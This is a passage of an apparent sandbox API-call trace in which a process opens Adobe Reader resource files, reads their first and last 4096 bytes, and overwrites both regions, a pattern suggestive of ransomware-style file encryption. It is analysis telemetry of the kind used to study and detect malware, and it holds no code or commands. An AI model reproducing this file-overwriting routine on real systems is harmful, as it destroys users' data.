lpOverlapped=0x0) returned 1 [0045.009] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.009] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.009] CloseHandle (hObject=0x1b0) returned 1 [0045.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.010] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.010] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6b5e [0045.010] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.010] ReleaseMutex (hMutex=0x128) returned 1 [0045.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et_EE.txt", lpUsedDefaultChar=0x0) returned 30 [0045.010] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.026] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5b5e [0045.026] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.037] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5b5e [0045.037] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.038] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.038] CloseHandle (hObject=0x1b0) returned 1 [0045.038] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6e28 [0045.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.039] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.039] ReleaseMutex (hMutex=0x128) returned 1 [0045.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr_HR.txt", lpUsedDefaultChar=0x0) returned 30 [0045.039] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.051] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5e28 [0045.051] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.062] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5e28 [0045.063] WriteFile (in: hFile=0x1b0, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.063] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.063] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.063] CloseHandle (hObject=0x1b0) returned 1 [0045.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.064] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.064] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x626a [0045.064] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.064] ReleaseMutex (hMutex=0x128) returned 1 [0045.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb1c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko.txt", lpUsedDefaultChar=0x0) returned 27 [0045.064] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.072] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x526a [0045.072] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.081] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x526a [0045.081] WriteFile (in: hFile=0x1b0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.081] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.081] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.081] CloseHandle (hObject=0x1b0) returned 1 [0045.081] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.082] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.082] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6dd6 [0045.082] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.082] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.082] ReleaseMutex (hMutex=0x128) returned 1 [0045.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0045.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0045.082] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.108] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5dd6 [0045.108] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.111] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5dd6 [0045.112] WriteFile (in: hFile=0x1b0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.112] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.112] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.112] CloseHandle (hObject=0x1b0) returned 1 [0045.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.113] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.113] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6ba2 [0045.113] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.113] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.113] ReleaseMutex (hMutex=0x128) returned 1 [0045.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ro_RO.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ro_RO.txt", lpUsedDefaultChar=0x0) returned 30 [0045.113] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.116] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5ba2 [0045.116] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.122] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5ba2 [0045.122] WriteFile (in: hFile=0x1b0, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.122] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.123] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.123] CloseHandle (hObject=0x1b0) returned 1 [0045.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.123] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.123] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x715c [0045.123] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.123] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.123] ReleaseMutex (hMutex=0x128) returned 1 [0045.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_SE.txt", lpUsedDefaultChar=0x0) returned 30 [0045.124] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.134] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x615c [0045.134] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.139] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x615c [0045.139] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.139] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.139] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.140] CloseHandle (hObject=0x1b0) returned 1 [0045.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.140] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.140] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3cf0 [0045.140] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.140] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.140] ReleaseMutex (hMutex=0x128) returned 1 [0045.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="araphon.env", lpUsedDefaultChar=0x0) returned 11 [0045.140] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.147] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2cf0 [0045.148] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.152] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2cf0 [0045.153] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.153] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.153] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.154] CloseHandle (hObject=0x1b0) returned 1 [0045.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.154] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.154] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x17000 [0045.154] SetFilePointer (in: 